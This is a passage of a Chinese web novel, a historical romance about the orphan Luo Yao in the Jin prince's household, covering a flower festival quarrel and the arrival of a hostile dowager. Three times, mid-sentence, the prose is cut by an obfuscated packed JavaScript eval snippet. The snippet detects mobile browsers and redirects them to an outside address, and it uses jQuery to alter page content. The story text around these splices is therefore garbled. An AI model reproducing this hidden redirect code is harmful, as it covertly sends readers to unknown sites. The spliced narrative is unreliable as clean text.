月芽直直跪下,不卑不亢,“安姑娘息怒,奴婢不是卖主,奴婢是心疼我家姑娘,姑娘来到这里,没有朋友,对王爷这般依恋,奴婢害怕她深陷泥淖而不自知,诚然,王爷很好,但,不是姑娘的好归宿。” “姑娘生性天真,许是未开窍,但这两年在奴婢这个外人看来,姑娘对王爷感情不一般,王爷身份贵重,加上陛下喜爱,婚事多半无法自己做主,奴婢担心姑娘这般飞蛾扑火,不计后果付出,最后伤的是自己。” “还请姑娘看在和我家姑娘情谊份上,帮忙规劝一下姑娘吧。” 安玥沉吟,没叫月芽起身,地上雪化了一半,加上来回走动,月芽的衣裙沾满脏污的雪水。 良久,月芽的膝盖都快麻木了,终于听到安玥的声音,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146057|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了,我知道了。” * 安玥离开后,月芽一瘸一拐回到了主院。傅闻璟和洛瑶正一起用饭,洛瑶最近迷上了涮锅子,两年相处下来,傅闻璟习惯顺着她意,加上赵隋和下属猎到了不少野山货,便让人一起准备上。 洛瑶挨着傅闻璟坐,埋头苦吃,洛瑶时不时给傅闻璟夹菜,看着傅闻璟蹙眉吃进去,脸上扬起笑容。 月芽看得心口酸涩,若王爷真的对姑娘有意,那还好,若只是姑娘一厢情愿……后果不堪设想。 洛瑶及笄后,越发黏着傅闻璟,傅闻璟不疑有他,一直由着她。 “鹿肉性热,你身子弱,少吃些。” “好。”洛瑶夹了个肉圆子进嘴,却不曾想这圆子里面藏了汁水,烫得舌头发麻,生理性泪水不听话从眼角滑落。 “吐出来。”傅闻璟扣住她的下巴,接住那颗作案的肉圆子,又给洛瑶喂了些凉水,总算是缓解舌尖的不适。 傅闻璟擦干净手,抬起洛瑶下巴,“张开嘴,我看看。” 温热的气息撒在洛瑶脸上,抬眸便是一张放大的俊脸,剑眉星眸,薄唇挺鼻,星眸里满是担心。 洛瑶觉得心脏又开始砰砰直跳,小心翼翼地呼吸着,生怕惊扰他。 “有些红,没什么大碍,若实在是不舒服,吃些凉的,但不可贪多,”傅闻璟揉揉被他捏红的脸蛋,“抱歉,我太用力了。” “不碍事。”洛瑶低着脑袋摇头,声若蚊蝇。 傅闻璟没听清,暖锅的火熄灭,“饱了吗?” 洛瑶点头。 傅闻璟让人撤去暖锅,拍拍洛瑶脑袋,便去书房忙了。 花神节当日,月芽把洛瑶装扮得十分隆重,洛瑶不适应,摘下发簪,换上了一套翠玉头面。 月芽有自己的小九九,她希望洛瑶在花神节能艳压四方,引起城中公子的注意,这样洛瑶便可以不用什么心思都放在傅闻璟身上,但偏偏洛瑶不喜欢那么招摇。 安玥在洛瑶梳洗后到了晋王府,等到洛瑶出现时,眸中闪过经验,“这小脸,真好看,我看呐,今日的花神都比不过你。” “玥姐姐别开玩笑,”洛瑶红了脸,“哥哥呢?” 今日傅闻璟休沐,但傅闻璟向来不参加淮南府的宴会,洛瑶也有私心,她想让傅闻璟看到今日的盛装打扮。 “王爷在书房呢。”一旁默不作声的林公公提醒,说完就收到月芽的一记眼刀。 “玥姐姐你等我会,我去去就来。”洛瑶没等其他人反应,提起裙摆就往书房跑。 先前晋王府的书房不允许其他人靠近,后来洛瑶的画本子没地方放,偷偷摸摸放在傅闻璟书房后,傅闻璟也没意见,渐渐地,洛瑶在书房便出入自如。 “哥哥!” 未见其人先闻其声,傅闻璟从书中抬起眸子,就看到洛瑶闯进来,轻纱裙摆随着洛瑶走动像只蝴蝶翩翩起舞,腰间坠着玉佩发出清脆的声音。 但更清脆的是洛瑶的嗓音,跟傅闻璟刚救她时不同,两年后的洛瑶被傅闻璟养得极好,没有当初的小心翼翼,行为处事都有世家姑娘的风范。 “什么事?”。 “我要去花神节,来和哥哥说一声。”洛瑶羞涩抿唇,偷偷观察傅闻璟。 “嗯。”傅闻璟言简意赅。 “好,哥哥记得用午饭,还有不要忙得太累了,忙一会记得起身走走……” “嗯,去吧,别让安姑娘等太久。” 洛瑶提起裙摆小跑,回身朝傅闻璟摆摆手,“那我走啦。” 傅闻璟盯着洛瑶走远的身影,半晌没有动作,手里的书一直停留在同一页。良久,深呼吸,平复心中异样的情绪,轻微扯动嘴角,“呵,小没良心。” 傅闻璟没了兴致,随手把书一放,骑马出府。 15. 第 15 章 淮南府的花神节依旧在陶然亭举办,陶然亭地处淮南府南郊的忘却山,山上有一大片梅林,恰逢二月花神是梅花,因而每年花神节都在陶然亭举办。 洛瑶来了淮南府两年,但生来体弱,平日出门都在城中逛逛,并没有到过陶然亭。洛瑶一下马车就被满山遍野的梅花吸引,王府的梅林也算是一绝,但和忘却山的相比倒是差了些。 “我们去李姑娘打声招呼,我知道你不习惯这样的场面,到时候我们找个安静地地方坐着就好。”安玥挽着洛瑶的手,出门前她信誓旦旦地跟哥哥安远承诺,一定会照顾好洛瑶,可不能不能食言。 洛瑶点点头,她虽怕生人,但也知晓这样的场面不能落了王府姑娘的气势。穿过人群,洛瑶看到安玥口中的李青青李姑娘。 鹅蛋脸,柳叶眉,肤若凝脂,气质温婉,逢人脸上带着三分笑。 “李姑娘。” “安姐姐,洛姑娘。” 洛瑶和安玥上前跟李青青打招呼,李青青笑着回应后,视线来回打量洛瑶。 洛瑶嘴角勾起个弧度,跟李青青点头示意。 “这就是安姐姐经常提起来的洛姑娘吧,比安姐姐说的还要好看,”李青青热情迎上来,拉起洛瑶的手,“安姐姐经常提起你,今天可算是见到了。” 洛瑶不习惯和陌生人亲密接触,笑着回应,不着痕迹地抽回手,挽着安玥的手臂。 “来,赶紧坐。”李青青扯了扯嘴角,很快恢复正常,招呼洛瑶和安玥落座。 “这是我前段时间得的百花酿,安姐姐试试?” “洛姑娘要不要也尝尝?” 李青青拿了一壶酒回来,瓶子是浑身通透的绿玉,倒出来浅粉色的液体,配着晶莹剔透的琉璃盏。李青青给安玥倒了一杯,安玥毫不客气地喝了,“那我得尝尝,这闻名遐迩的百花酿是什么味道。” “就知道安姐姐你喜欢这酒,晚些时候我给你送些到伯府上,”李青青笑着又给安玥添了一盏,见洛瑶没有动作,疑惑道,“洛姑娘不尝尝,是这酒不合口味?” 没等洛瑶说话,安玥就帮忙解释,“阿瑶身子弱,不适合饮酒,并不是不合口味。” “原来如此。”李青青恍然大悟,看向洛瑶的眼神又多了几分探究。 “我府上有位大夫,擅长调理身子,不如明日我带他去晋王府?” 洛瑶被看得浑身不自在,微微抬眸和李青青对视,笑着推辞,“多谢李姑娘好意,我生来体弱,看了许多大夫都不见得好,如今吃着府医开的药,倒是好了些许,就想着先别折腾,等我喝一段日子再看。” “确实是,晋王府的府医脾气不好,若是随便带人上门,说不定还会被奚落一顿。”安玥打圆场。 “是我想得不周了。”李青青微垂脑袋,像是做错事一样。 “怎么会,李姑娘是为了我好,真的实在是不好意思了。”洛瑶摇摇头。 安玥眼珠子一转,“青青,你看陈姑娘是不是来找你的?” “我去看看。”李青青起身离开,走之前还回头看了洛瑶,朝她点头致歉。 安玥垂眸,心想这次带洛瑶来参加花神节是不是正确的,这李青青倒是颇有想法。安玥回头看洛瑶,只见她毫无负担地吃着桌上的黄金糕。 黄金糕、栗子软糕、糖莲藕……都是洛瑶喜欢吃的东西。 安玥倒是不知道这李姑娘和洛瑶的口味这么相似。 “阿瑶,你觉得李姑娘怎样?”安玥靠近洛瑶,小声询问。 洛瑶嘴里吃得鼓鼓的,像个小松鼠,听到安玥询问,洛瑶连忙咀嚼,咽下嘴里的黄金糕后,又抿了一口茶,“挺好的,李姑娘做事很周全。” 安玥一时无言,又听到洛瑶接着说,“李姑娘这次宴会上准备的茶点都是我喜欢的诶,有扬州的黄金糕和糖莲藕,还有梅花糕,上次哥哥从苏州府带回来给我吃过。” “还有这茶也好喝,跟王府的梅花甘茶一模一样。” 洛瑶兴致勃勃地说着,但安玥没有反应,停下询问,“怎么了?” 安玥怜爱的摸摸洛瑶的脑袋,“没什么,你继续吃吧。” 这孩子,我在期待点什么。安玥心中叹息,今日出门,拿到帖子时,帖子上只有墨香,没有梅花香,以往李青青主持的宴会茶点都是随意准备的,或者别人孝敬给州牧府的,还有这梅花甘茶,整个淮南府都知道,已故荣安长公主喜欢梅花甘茶,整个淮南府除了晋王府找不到第二处喝梅花甘茶的地。 再加上,送帖子时还再三嘱咐自己一定要给到洛瑶。 这李姑娘…… 安玥摇摇头,给洛瑶夹了一块梅花糕。 罢了,这事情,傅闻璟自有打算,还轮不到她操心。 * 安玥没看到不远处过来的刘府姑娘刘筠,浅酌着百花酿,时不时低下脑袋和洛瑶说句话。 “哟,我还以为这是谁呢,原来是前些日子相看多次的安阳伯府的安姑娘啊。” 一道不友好的声音打断了安玥和洛瑶的交谈,安玥头都不抬,就猜到是谁。她和刘筠从小就不对付,刘筠小时候高傲得像只斗鸡,特别喜欢长得比自己好看的人,尤其看不惯安玥,安阳伯又降位袭爵,没有官职在身,更加看不上安玥了。 前些天刘筠听到安玥相看一事,加上自己又和张家公子定亲了,便想着在花神节上奚落安玥好解解恨。 “呵,我当以为是谁,原来是刘姑娘,一大早的,是府里少了杨枝还是少了盐,嘴这么臭。” 安玥也丝毫不让,伶牙俐齿地回敬她。 “那也比不过安姑娘年方十八都还没有定下亲事,怕是要成老姑娘了。”刘筠手帕掩唇,眼里满是奚落嘲笑。 “你!” “玥姐姐。” 安玥要上前和刘筠对峙,被洛瑶了拉了一把,对上刘筠的视线,安玥暴起,“放开我,我今天不撕烂她的脸我就叫安玥!” “……”洛瑶险些按不住,脚步踉跄,好在安玥理智回笼,扶稳洛瑶。 “听姑娘的语气是已经订下亲事了?倒不知道是哪家的郎君如此幸运。”洛瑶紧紧攥着安玥的手,藏在衣袖下的手温柔安抚。 刘筠乜斜着打量洛瑶,她不认识洛瑶,也没派人打探过晋王府的事情,语气很是不屑,“自然是定了,对方是谁,说出来你这个乡巴佬也未必知道。” 洛瑶也不生气,嘴角勾起个弧度,语气温和得不得了,“愿闻其详。” “自然是我家兄长。”刘筠身后的圆脸姑娘扬起下巴说道。 洛瑶不认得人,但安玥从小就在淮南府长大,别说谁是谁家的孩子,就连谁府上有几只猫,她都能给你数出来。 “她是和我相看的城南张大人家的千金。”安玥小声在洛瑶耳边说,自从上次相看后,安阳伯府和张府就不相往来了。 洛瑶微微蹙眉,仔细回想那日安玥的描述,大脸凸颧骨凹鼻梁眼小如豆……这,刘姑娘虽算不上惊艳,但也是小家碧玉,怎么…… 许是她喜欢。洛瑶这样想。 “怎么不说话了?”刘筠像只斗胜的公鸡,瞥了安玥和洛瑶一眼。 洛瑶下意识脱口而出,“原来是他呀,我看忘却山比他好看些。” “你!”刘筠十分介意别人说她未婚夫的长相,若不是自家兄长不争气,同辈里没有一个像安远那样长进,不然哪轮到张家和她结亲。 刘筠气不过,但也无法反驳,盛怒之下死死盯着洛瑶,这才仔细看清洛瑶的长相,连平日大家说的淮南府第一美人的安玥,站在洛瑶身边都逊色不少,怎么会有人这么好看。 身后的张姑娘在刘筠耳边小声说话,刘筠鄙夷地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178428|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着洛瑶,啐了一口。“呸!狐媚子!” “刘筠,你——” “各位,今日是花神诞,难得大家聚在一起,这些小事,各位看在我的面子上,就不要计较了,今日咱们痛痛快快地玩一场。” 在人群外观战的主家李青青总算是出面了,先是安抚了刘筠,又拉着安玥的手,却被安玥没好气地抽回来。 “好好一个宴会,乌烟瘴气的,今日看在你的份上我才来,你们自个儿玩去吧,我和阿瑶就不奉陪了。”安玥冷脸看了眼李青青,拉着洛瑶出了人群。 李青青脸色微不可查地沉了沉,但很快恢复正常,招呼这其他人落座。 * “玥姐姐慢点……”洛瑶被安玥拉着走,安玥步伐极大,洛瑶走得慢,喘的上气不接下气。 安玥意识回笼,连忙停下来,扶着洛瑶询问情况。 洛瑶脸色微白,除了有些喘气,倒没有太过难受。安玥见状,心中自责,倒是扶着洛瑶到一旁的凉亭歇脚,“是我不好,忘了你身子不好。” 洛瑶摇摇头,“我没事,歇一会就好了。” “倒是方才那样,会让李姑娘难做吧,等宴会散了,咱们要不要给她道个歉?” 安玥闻言,冷哼一声,没好气地戳了下洛瑶的脑袋,“你呀,李青青的算计那么明显你都看不出来?” “啊?”洛瑶不明所以。 “我和刘筠从小就不对付,一般宴会上有我没她,有她没我,你猜这次为什么刘筠会出现?” “或许是,李姑娘疏忽了?” 安玥恨铁不成钢,“李青青办了那么多次宴会,怎么就偏偏这次疏忽了?为什么这次疏忽了,但准备的点心恰好是你喜欢的?准备的茶是王府常喝的?” “可能是——” “你别说是巧合,”安玥捏了捏洛瑶的小脸,“罢了,我就不该指望你能想到什么。” 洛瑶嘿嘿一笑,她虽然不记得事情,但是她不傻,安玥这么说,很明显就是州牧府想和王府交好。 这正常极了。 良久,安玥坐直身子,像是经过一番天人之战,总算决定下来,“阿瑶,我问您,你如实回答我。” 洛瑶心中一紧,安玥很少这般严肃,洛瑶挪了挪身子,直起腰,对着安玥郑重地点头,“好。” “你是不是喜欢晋王殿下?” “啊?”洛瑶小脸瞬间红了,小嘴微张,她不是掩饰得很好吗,怎么…… “你老实回答我。”安玥冷着脸唬洛瑶。 洛瑶没有点头,眼睛瞟向别处。 安玥放下的心,又悬起来了。果然月芽那小丫头猜得不错。 “我对他没有任何非分之想,我只是想一直陪着他,看不到他的时候我就想他,虽然每天只有短短一两个时辰相处,我也觉得好开心。”洛瑶洁白的贝齿轻咬下唇。 “玥姐姐你知道吗,当时在扬州府,我醒来什么都不记得,唯独记得他的声音,就像一个渴了很久的人忽然喝到甘甜的泉水,冥冥中有人在保护你那样,可是,”洛瑶说着声音就小下来,“我只是他救回来的孤女,他是傅闻璟,又是我的救命恩人,虽然我在晋王府生活,但我们之间身份相差巨大,根本就不可能,若是论家世,李姑娘比我配得上多了。” “况且他是哥哥,我是妹妹,怎么可能在一起。” 洛瑶想起方才听到的闲言碎语,垂下脑袋,春风拂过,头上的流苏发出清脆叮咚声,显得周围更加安静。安玥没说话,洛瑶心如擂鼓,越发不安。 安玥点头,话到嘴边想起哥哥叮嘱的话,又咽下去。好一会,她起身拍拍洛瑶的肩膀,故作深沉,“阿瑶,晋王妃我觉得不会是李青青。” 洛瑶心里一咯噔,李姑娘? 难道不是州牧府想和王府交好,是李姑娘想…… 16. 第 16 章 花神节之后的两个月,洛瑶经常粘着傅闻璟,时不时给傅闻璟准备些小惊喜,像极了话本里讨姑娘欢心的书生,惹得傅闻璟心软软的。 不过近日江南一带的匪患猖獗,傅闻璟奉旨前去剿匪,只剩下洛瑶在王府。这些日子在府中无聊,洛瑶闲来无事,不是去喂兔子就是去找安玥。 安阳伯夫人这两月也歇了给安玥相看的心思,先前花神节的争执,第二天安阳伯就知道了,安阳伯心疼安玥,若不是伯夫人拦着,说不定会大闹刘刺史府。 这日洛瑶又去了安阳伯府,到了金乌西下才回来。马车尚未停稳,就听到一阵喧闹声。没一会就有人敲响车窗,“哪里来的,咱们老夫人回府,识相的赶紧让开。” 洛瑶不明所以,掀开帘子查看,王府中门大开,仆人络绎不绝进出搬行李,一旁的小厮上下扫视洛瑶,轻嗤一声又转身帮忙搬东西。 “老夫人?”洛瑶侧目询问月芽。 月芽微微蹙眉,似乎在回想,良久她恍然大悟,“府上确实有一位老夫人,只是前几年回了渔阳老宅住,或许是她?” 洛瑶微微摇头,她来淮南府不足两年,她也不清楚。 主仆两人面面相觑,良久,听到了林公公的声音,“这不是姑娘的车架吗,怎么不进府?” 洛瑶闻声,掀开帘子,打眼就看到了林公公白白胖胖的脸蛋,见到是自己,笑得脸上堆起了褶子。 “姑娘在伯府玩得可开心?”林公公上前,照顾洛瑶下马车。 “挺开心的,”洛瑶点点头,站稳后抽回手,满眼陌生地看着进进出出的仆人,“这是?” 林公公心口发苦,在洛瑶左前侧边引路,边解释,“府上原来有一位老夫人,是已故侯爷的庶母,后来因着一些事情,回了渔阳老宅静养,前些天也没有说一声,便大张旗鼓回了淮南府。” 林公公心中也有气,哪有这样做事的,哪个侯门世家出行不是提前告知的,老夫人这一出,倒是打了个措手不及。 老夫人,已故侯爷的庶母,那就是哥哥的祖母,按辈分,也算是自己的祖母。洛瑶如是想。 “祖母年岁已高,加上舟车劳顿,忘了吩咐也是正常,公公多体谅。”洛瑶抿唇,又想起今日下午和安玥看几出戏,温声劝说林公公。 林公公闻言,摇摇头,到了嘴边的话,又咽下,他虽说是王府总管,但这身份说破天也是个奴才,怎么也轮不到他置喙,只好笑着应和洛瑶,心里盘算着,等傅闻璟回来怎么说。 洛瑶回主院换身衣裳,准备去给傅老夫人见礼,一出房门就看到一个凶神恶煞的婆子,一双吊梢眼盯着自己,洛瑶稳住心中不安情绪。 “你就是王爷前两年救回来的姑娘?”婆子上下打量洛瑶,语气夹带着轻视,“老夫人说,既然是在王府住下,就要遵循王府的规矩。” 洛瑶眉头微蹙,在这两年,她怎么没听说过王府还有什么规矩。 还没等她反驳,婆子轻嗤,“老夫人今日回府,姑娘应该去请安。” “姑娘请吧。” 洛瑶藏在衣袖下的手不安地扣着指甲,眨了眨眼睛,调整好心情,柔声道:“还请嬷嬷带路。” 婆子冷哼一声,甩了甩袖子,转身扭着腰往外走去。 “还请嬷嬷走慢些,我们姑娘身子不好。”月芽扶着洛瑶,见洛瑶脸色逐渐发白,连忙喊停了婆子。 婆子转身打量洛瑶,语气甚是不屑,“姑娘这般,好个美人儿,真像个‘病西施’。” “可姑娘是客,老夫人是主,加上老夫人舟车劳顿,又是长辈,哪有让老夫人等的道理,姑娘说可是?” 洛瑶眼睫一颤,咬了咬下唇,挤出个笑容,“嬷嬷说的是,是我不对。” 这些在宴会上学会的手段,洛瑶曾经很是不屑,没想到自己有一天居然用上了。 嬷嬷扯了扯嘴角,也不理会洛瑶,转身就走,步伐甚至比先前还快不少。 “姑娘……” 月芽担忧地扯了扯洛瑶的衣袖,洛瑶却按住她手腕,轻轻摇头,神色难免落寞,做了个口型,“她说的对。” 约莫半盏茶,总算是到了老夫人的韶华院,林公公在院里指挥,仆人匆匆忙忙打扫,乱中有序。 林公公见到洛瑶过来,心里一咯噔,连忙迎上去,“姑娘怎么过来了?” 洛瑶抿唇浅笑,声音柔和,“祖母回来了,我怎么也要过来请安见礼。” “姑……” 林公公话还没有说,就被吊梢眼婆子打断,“老夫人在里面等着了,姑娘请吧。” “多谢嬷嬷。”洛瑶给林公公递了个放心的眼神,扶着月芽的手,缓步进了内屋。 屋里灯光略微昏暗,香油蜡烛混杂着尘土的味道,说不上难闻,倒是挺让人不适。 洛瑶站在正厅,前方坐着头发花白的老人,许是年纪大了,老人身形颇为瘦削,脸颊颧骨高高隆起,不过一双眸子甚是明亮,像极了哥哥带回来的鹰隼。 一旁站在约莫十七八岁的女子,似是出神,没有注意洛瑶进来。 “你就是闻璟救下的孤女?”老夫人盯着洛瑶,像是挑选物品一样,眼神带着挑剔。 “是,阿瑶见过祖母。” “我可没有这么大的孙女。”傅老夫人冷嗤。 洛瑶一滞,连忙屈膝致歉,“阿瑶见过老夫人,阿瑶无状,还请老夫人见谅。” 闻言,傅老夫人面色缓和,却没有叫洛瑶起身。过了将近一炷香,才缓缓道:“起来吧,在王府就要遵守王府的规矩。” “我不管你这两年是怎样,但现在开始,尊卑主客有别,你懂吗。” “静儿,你说是不。”傅老夫人喊了声一旁的齐静,没听到齐静的回应,又喊了两声。 齐静这才回过头,连忙应是,目光触及洛瑶,又跟洛瑶点头示意。 “这才是贵女风范,”傅老夫人点点头,“可不是什么乡野村姑比得上。” “年纪不大,倒长了个好皮相,看着身子不好,像个美人灯笼似的,可惜又不懂规矩,别说王府的大门,寻常大户人家的门槛也未必摸得到。” 洛瑶站在厅中,微垂脑袋,耳边是老夫人挑选货物般的话语,屋外热风吹过,洛瑶忽然打了个冷颤。 洛瑶此时此刻无比想念傅闻璟,这两年,王府没人提起她是一个孤女,大家都当她是正经主子,是次于傅闻璟的主子,是安阳伯府姑娘的闺中密友,在淮南府颇有几分脸面。 傅老夫人的出现,把众人精心布置的假象血淋林撕开,然后告诉她,洛瑶你不过是一个孤女,不过是寄住在王府的一个孤女,你居然还有胆子肖想傅闻璟。 洛瑶身子鼻子微酸,但很快又安抚好自己。 “行了,今日就到这,你回去吧。”傅老夫人不耐烦摆摆手,打发洛瑶走。 洛瑶行礼告退,转身一瞬间,眼泪夺眶而出。 “姑娘留步。” 月芽闻声转身,看到是齐静,立刻错身挡在洛瑶身前。 方才老夫人那番话,别说洛瑶了,月芽听着也难受,老夫人不满就不满,何至于说这么难听的话。若不是敬重她是老夫人,月芽都想跟她吵起来。 “齐姑娘有什么事吗?我家姑娘身子不适,得回去休息了。” 月芽像护崽子的母鸡一样挡在洛瑶前面,防备地盯着齐静,似乎齐静有什么异常举动,就与她玉石俱焚。 齐静缓了缓语气,“我想和洛姑娘说两句话,可以吗?” “我并无恶意。”齐静连忙表态。 洛瑶擦干净脸上的泪痕,扬起个笑容,转身回应,“可以。” “姑娘!” “我没事,”洛瑶抿唇点头,示意月芽放心,拨开挡在身前的月芽,“姑娘请。” 洛瑶没等齐静,走到假山后,和齐静保持一臂的距离。 “洛姑娘,方才老夫人说话重了些,我代她跟你道歉。”齐静朝洛瑶屈膝,语气真挚。 洛瑶侧身避开,“姑娘不必如此,我没有放心上。” 齐静笑了笑,良久,总算是开口,“姑娘应该不认得我,我叫齐静,是老夫人娘家的侄女,说是娘家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178429|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侄女,其实也不算很亲,我祖父和老夫人不过是同个宗族,按辈分我唤她一声姑祖母。” “我家在越州,姑娘肯定也好奇,越州和渔阳,一个天南一个地北,怎么会和老夫人一同来了淮南府,这得益于我的‘好父亲’,他收到老夫人的信件后,在他五个女儿中挑挑拣拣,把我选出来,送到老夫人身边,他觉得我能为齐家带来好处,但是我并不想来淮南府,只想在越州呆着,到了年纪就嫁人。” 齐静絮絮叨叨说了许多,洛瑶越听越迷糊,这跟她有什么关系? 月芽等了许久都没见洛瑶出来,担心洛瑶,在假山外用不大不小的声音,“姑娘,可聊好了?咱们该回去喝药了。” 洛瑶听到月芽的声音,“齐姑娘,时候不早了,若姑娘还想找我说话,可以到主院来寻我,或者让人给我传话。” 齐静也摸清洛瑶的性格,露出个微笑,“好。”然后目送洛瑶回了主院。 齐静一开始并不打算跟洛瑶说这些,但当看到洛瑶被老夫人数落,倒想起之前的自己,冲动之下,就不顾老夫人冷脸,跑出来寻洛瑶了。 齐静回到韶华阁,刚踏进屋,就听到老夫人冰冷的声音,“跪下!我的话你也敢不听!” 齐静心尖颤了颤,双腿一软,结结实实跪下,“请姑祖母责罚。” “责罚?你知道我大老远让你父亲把你送到渔阳来是为什么吗?你竟然跟洛瑶那个狐媚子交好,你可知道你此行是为了什么?你不管你父亲仕途了吗?” 齐静咬着嘴唇,垂眸沉默听老夫人的叱骂,也不反驳。她这般模样,看得老夫人一阵窝火,“洛瑶和傅闻璟有两年相处时光,你不想办法替代她,你反而去安慰那个小妖精,你这浪费我的良苦用心!罢了,你回去好好反省吧。” “姑祖母!”齐静忽然抬头,双眸紧紧盯着傅老夫人,语气郑重,“我与王爷是表兄妹,我不想嫁给王爷,至于父亲仕途,那是他自己的事情,为什么要我一个晚辈、一个女子去考虑,那要他这个家主有何用!” “啪!” 齐静头偏到一边去,白皙的脸蛋上是五个手指印,傅老夫人站在她跟前,恨铁不成钢地瞪着她,“你父亲辛辛苦苦养大你,你就这样想的?” 齐静倔强和傅老夫人对视,“难道不是吗?古有遣妾一身安社稷,不知何处用将军,如今父亲卖女求荣,难道不是吗!” “你!你!你……”老夫人捂着胸口,“果然女子不能读那么多书,你兄长都把你教坏了!” 吊梢眼婆子担心老夫人气出什么毛病来,让人把齐静带下去,又给傅老夫人揉胸口,“老夫人别气,齐姑娘多半被那丫头给迷惑了,方才我去请她,才知道,则小贱蹄子居然住在王爷的主院。” “当真?” “珍珠那么真!” 傅老夫人闻言,眸子转动,心里琢磨着。 主院。 洛瑶回到主院,皱着脸喝完药,又拉月芽和林公公问关于齐静的事情。这齐姑娘也是有意思,一来就跟她说那么多奇奇怪怪的话,但是态度算是真诚,洛瑶倒不觉得难受。 “奴婢不知道齐姑娘的情况。”月芽摇头。 林公公甩了甩尘尾,想了一会,“奴才倒是听说齐姑娘的父亲一直苦于仕途没有进展,这才求到老夫人身边,其余的就不知道了。” 洛瑶唔了声,摆摆手,罢了,想不通的,改天再想,说不定就通了,“齐姑娘看着,挺好相处。” “姑娘,就算是好相处,你也要留个心眼,她和老夫人走得那么近,万一呢?”月芽还是害怕,洛瑶涉世未深,她着实担心,如果齐静心思重,洛瑶都不够玩的。 洛瑶拍拍月芽的手,“放心啦,没事的,我觉得齐姑娘挺好的。” “姑娘!今日老夫人这般,摆明了就是不好相处的,姑娘还是要多加小心,今天姑娘那样,奴婢又气又心疼!” 洛瑶拉起月芽的手,脸上是灿烂的笑容,“我晓得,老夫人不好相处,我就不相处呗,都过去了,我没事,你也别气了啊,何必给自己找难受呢。” 17. 第 17 章 傅老夫人回来,趁着傅闻璟不在,大包大揽地把府中大小事务收拢回来。洛瑶在王府呆得难受,第二日便约了安玥到茶楼品茶。 两人选了一个二楼小包厢,楼下台子上老翁和卖唱女咿咿呀呀唱着江南小曲,洛瑶趴在栏杆双眼空洞地看着下方。 安玥倒了一杯茶,细细品尝,忍不住啧了一声,“好茶好茶,不愧是晋王府,平日里我来这茶楼都喝不到这么好喝的茶,可惜阿瑶你没口福了,只能饮清水。” 洛瑶还是神游四海,没有回应安玥的话。 “到底怎么了?”安玥靠近洛瑶,张开双臂把洛瑶拢入怀里,“谁惹咱们小太阳阿瑶不开心了。” 说着看了眼月芽。 月芽朝安玥做了个口型:老夫人回来了。 洛瑶调整了坐姿,靠着安玥的胳膊,撅了噘嘴,“老夫人回来了,她不喜欢我。” 没等安玥接话,洛瑶就接着说下去,“哼,我也不喜欢她,我又不是金子,哪里会人人喜欢。” 安玥看她这模样,忍不住噗嗤一笑,哎呀,这阿瑶怎么这么有意思。 “玥姐姐!”洛瑶跺了跺脚。 “好了好了,别生气,我又不是笑你,我就是觉得咱们阿瑶有意思极了。”安玥点了点洛瑶的鼻尖,温声安抚。 安玥生于淮南长于淮南,晋王府的事情,多少也知道些。傅老夫人是妾室破格抬为平妻,据说当年老侯爷是看在傅老夫人尽心教养傅侯爷的份上,进宫求了先帝许久,先帝才同将傅老夫人抬为平妻。 傅老夫人抬为平妻后,温良恭谦一段时间,但是老侯爷一过身,便藏不住面孔。不是发疯似地收拢内府权力,就是对府内安排挑三拣四,再不然就是立荣安长公主的规矩,幸好荣安长公主脾气好,不与她计较,不然她如今怕不是没有诰命,甚至可能连小命都保不住。 可惜的是荣安长公主痴情,傅侯爷去了后,荣安长公主相思成疾,身体每况愈下,不足一年便撒手人寰。傅老夫人也嫌淮南府晦气,回了渔阳。 也不知道什么原因,几年前又屁颠颠来了淮南府,后来不久又回去了,如今又来。 连安玥都佩服傅老夫人一把年纪,身子骨居然还禁得起这样折腾。 “哼,玥姐姐觉得我有趣极了,但老夫人可是觉得我没有半点世家贵女的风范,像个山野村姑。”洛瑶耍脾气似的噘了噘嘴。 她不服气,怎么能说她是山野村姑,明明淮南府里见过她的人,都说她有世家姑娘风范。 洛瑶气得像只小河豚,哥哥都没有嫌弃她呢!怎么有人这么“不识好歹”! 安玥憋笑憋得难受,实在忍不住,宝扇遮面哈哈大笑,惹得洛瑶又急又气。 “玥姐姐!” “好好好,我们阿瑶最有世家女子风范,是傅老夫人有眼不识宝珠。”安玥连忙安抚,生怕惹急了洛瑶耍小脾气。 等笑够了,安玥拉着洛瑶手进了包厢,“阿瑶莫管这些烦心话,听了心烦。” “且听我一句劝,傅老夫人自身也不是什么世家贵女出身,无非是当年傍上了老侯爷,这才一人得道鸡犬升天,若不然,她还不如你呢。” 安玥给洛瑶倒了杯温水,“再者,这晋王府是王爷做主,她怎么也翻不了天,若是王爷都做不了主,你只管来找我,我让我家祖母去给你主持公道。” 